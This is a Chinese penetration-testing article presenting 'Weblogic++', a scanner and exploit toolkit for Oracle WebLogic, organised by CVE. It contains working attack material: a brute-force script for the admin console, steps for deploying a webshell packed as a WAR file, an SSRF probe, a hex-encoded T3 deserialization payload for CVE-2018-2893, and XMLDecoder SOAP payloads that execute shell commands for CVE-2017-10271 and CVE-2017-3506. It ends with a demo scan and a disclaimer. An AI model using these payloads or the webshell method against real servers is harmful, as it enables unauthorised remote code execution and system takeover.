在渗透测试工作中,我们常常会遇到的各种版本的weblogic中间件,我们更多的情况是借助网上各种来源的poc/exp去进行测试,大家手头也确实积累了一些,例如针对wls模块,或针对t3协议啦,然而weblogic每年都会翻几次车,非开源工具的更新进度也一直是个谜,所以笔者希望可以系统性的整理一番,形成一个更加具体透明的测试流程,于是,就有了今天大家看到的文章与工具。
之所以命名为从入门到放弃,只是希望大家可以借助此次给大家开源的小工具,彻底解放自己,让weblogic漏洞测试可以不在迷茫,彻底杜绝测试发现Java反序列化漏洞却完全讲不出具体为何的尴尬。
__ __ _ _ _ \ \ / /__| |__ | | ___ __ _(_) ___ _ _ \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| _| |_ _| |_ \ V V / __/ |_) | | (_) | (_| | | (__ |_ _ _ _| \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |_| |_| |___/ By Tide_RabbitMask | V 1.0
在开始正文前,首先我们简单提一下weblogic当前比较活跃的几个较新的版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3
…………
按照本平台目录,给大家梳理一遍Weblogic历史漏洞:
#控制台路径泄露
Weakpassword
#SSRF:
CVE-2014-4210
#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
#任意文件上传
CVE-2018-2894
#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506
控制台路径泄露
包含模块:
Weakpassword
控制台
关于控制台,唯一的突破就是弱口令,口令是人自定义的,所以难免会有疏漏出现。检测平台会检测默认路径是否存活,为了整体效率,并未在当前单线程版本加入爆破功能,大家可以借助以下脚本辅助爆破。
def weakPasswd(self):
"""weak password"""
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
当然,如果有小伙伴想再次基础上优化,可以增加路径枚举功能,毕竟关于控制台默认路径的漏洞修复建议是:如果远程部署功能的确需要,建议修改默认的模块名称。
如果一旦成功进入控制台,则我们可以使用weblogic的远程部署功能上传webshell。
首先我们需要配置下木马,借助IDE打成war包:
木马打war包
如果不习惯Java IDE,可在linux下使用jar命令进行打包:jar cvf ma.war ma/*
jar命令打包
然后借助控制台进行war包的远程部署:
远程部署
部署成功
可以通过以下模块对部署状态进行二次确认:
http://127.0.0.1:7001/wls-cat/index.jsp?action=summary&app=ma&module=ma.war
确认部署情况
部署完成后可通过项目部署路径访问webshell:
SSRF:
包含模块:
CVE-2014-4210
涉及版本:
Version: 10.0.2,10.3.6
相关地址:
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp
uddi
同样考虑网络延时的影响,平台只集成简单的路径检测:
def islive(ur,port):
url='http://' + str(ur)+':'+str(port)+'/uddiexplorer/'
r = requests.get(url, headers=headers)
return r.status_code
大家也可以替换成如下payload用于正则匹配校验,提高准确性:
def ssrf(self):
payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"
req = requests.get(self.url+payload, timeout=10, verify=False)
if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
print("[+] WebLogic ssrf")
正则匹配情况
JAVA反序列化:
包含模块:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
这一部分内容是weblogic漏洞的重中之重,每一个CVE拿出来都可以单独成为一篇文章,反倒让我不知如何分析啦,在此推荐一篇freebuf文章。
那么给大家补充一点自己的总结吧:
#CVE-2015-4852
Weblogic 直接反序列化
是基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2016-0638
Weblogic 直接反序列化
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
漏洞实为CVE-2015-4852绕过
拜Oracle一直以来的黑名单修复方式所赐
#CVE-2016-3510
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2017-3248
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
属于Weblogic JRMP反序列化
#CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
属于 Weblogic JRMP反序列化
#CVE-2018-2893
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
实为CVE-2018-2628绕过
同样拜Oracle一直以来的黑名单修复方式所赐
属于Weblogic JRMP反序列化
大家应该也发现了,因为Oracle的黑名单修复策略,这种缝缝补补的故事还会继续下去。大家可以结合本文开源的平台中收录的poc对比一下,会发现因为这些poc其实十分相像。无非就是替换了下payload与正则匹配项。绝大部分poc借助tcp协议的socket实现而不是针对具体路径。
如最新的CVE-2018-2893:
VUL=['CVE-2018-2893']
#payload:
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']
#正则匹配规则:
VER_SIG=['StreamMessageImpl']
关于wls-wsat
模块的漏洞,大家也可以在测试前,通过默认路径简单查看路径是否存在来进行初步判断。
地址截图
任意文件上传
包含模块:
CVE-2018-2894
涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
相关地址:
http://127.0.0.1:7001/ws_utc/config.do
http://127.0.0.1:7001/ws_utc/begin.do
其实该漏洞的出现也确实令人匪夷所思,竟然开放了两个超高危的未授权上传界面,原理部分还是推荐一篇文章更权威些,该向大佬低头的时候绝不含糊。
顺便一提的是,该未授权上传界面,CNCERT给出危害程度评分高达9.8分。
未授权文件上传
XMLDecoder反序列化:
包含模块:
CVE-2017-10271
CVE-2017-3506
涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
在上方8个路径中任意选择一个路径,将content-type改成text/xml类型
即content-type:text/xml
,然后改为post方式传入payload,即可漏洞复现,如果此处为修改类型,则会收到内容为不支持的类型的返回包。
在这里给大家提供两个payload:
#打开计算器poc,仅供验证
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string> </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
然而,真正远程测试的时候,我们是无法看到计算器运行的,所以我们略微修改,通过返回包的正则进行判断漏洞是否存在。
正则匹配规则:\<faultstring\>.*\<\/faultstring\>
#远程验证payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
emmmm,避重就轻的给大家梳理了一遍weblogic的历史漏洞,可能还会有些遗漏,比如CVE-2018-3191,但接下来的版本我会补齐的。那么接下来给大家奉上V1.0版本的Weblogic++,也欢迎各位小伙伴对它进行更多的优化。
简单嘟囔两句:因为套接字的使用,容易受到多种网络因素的影响,所以我对每一个模块单独做了异常处理,对收录的所有poc进行了接口和参数的统一,调整了多处bug,目前来讲,正常的渗透测试工作完全够用了,可能有两个poc还没有调整好,无伤大雅。emmmm,别的,,,tide牛逼!好哒,就这样~
奉上软件说明与使用截图:
软件作者:Tide_RabbitMask
感谢来自网络的开源POC,
我只是进行了魔改和接口统一。
免责声明:Pia!(o ‵-′)ノ”(ノ﹏<。)
本工具仅用于安全测试,请勿用于非法使用,要乖哦~
V 1.0功能介绍:
提供一键poc检测,收录几乎全部weblogic历史漏洞。
详情如下:
#控制台路径泄露
Weakpassword
#SSRF:
CVE-2014-4210
#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
#任意文件上传
CVE-2018-2894
#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506
其中几个exp功能完美,不忍魔改,
暂且请手动进行测试。
后期多进程版本再考虑exp的自动化。
V1.*功能预告:
多进程并发
修复建议
模块优化
交互优化
报告生成
软件使用Demo:
==========================================================
__ __ _ _ _
\ \ / /__| |__ | | ___ __ _(_) ___ _ _
\ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| _| |_ _| |_
\ V V / __/ |_) | | (_) | (_| | | (__ |_ _ _ _|
\_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |_| |_|
|___/
By Tide_RabbitMask | V 1.0
Welcome To Weblogic++ !!
1、开启POC检测
2、开启EXP利用
3、关于本软件
1
Please enter the IP:127.0.0.1
Please enter the port:7001
[*]开始控制台路径检测
[+]目标weblogic控制台地址暴露!
[+]路径为:http://127.0.0.1:7001/console/login/LoginForm.jsp
[+]请自行尝试弱口令爆破!
[*]开始SSRF检测
[+]目标weblogic存在UDDI组件!
[+]路径为:http://127.0.0.1:7001/uddiexplorer/
[+]请自行验证SSRF漏洞!
[*]开始CVE_2015_4852检测
[*]测试返回内容为:10.3.6.0.false
AS:2048
HL:19
[*]开始CVE_2016_0638检测
[+]目标weblogic存在JAVA反序列化漏洞:CVE-2016-0638
[*]开始CVE_2016_3510检测
[-]目标weblogic未检测到CVE-2016-3510
[*]开始CVE_2017_3248检测
[-]目标weblogic未检测到CVE-2017-3248
[*]开始CVE_2017_3506检测
[+]目标weblogic存在JAVA反序列化漏洞:CVE-2017-3506
[*]开始CVE_2018_2628检测
[+]目标weblogic存在JAVA反序列化漏洞:CVE-2018-2628
[*]开始CVE_2018_2893检测
[+]目标weblogic存在JAVA反序列化漏洞:CVE-2018-2893
[*]本次检测任务结束,目标 127.0.0.1:7001
==========================================================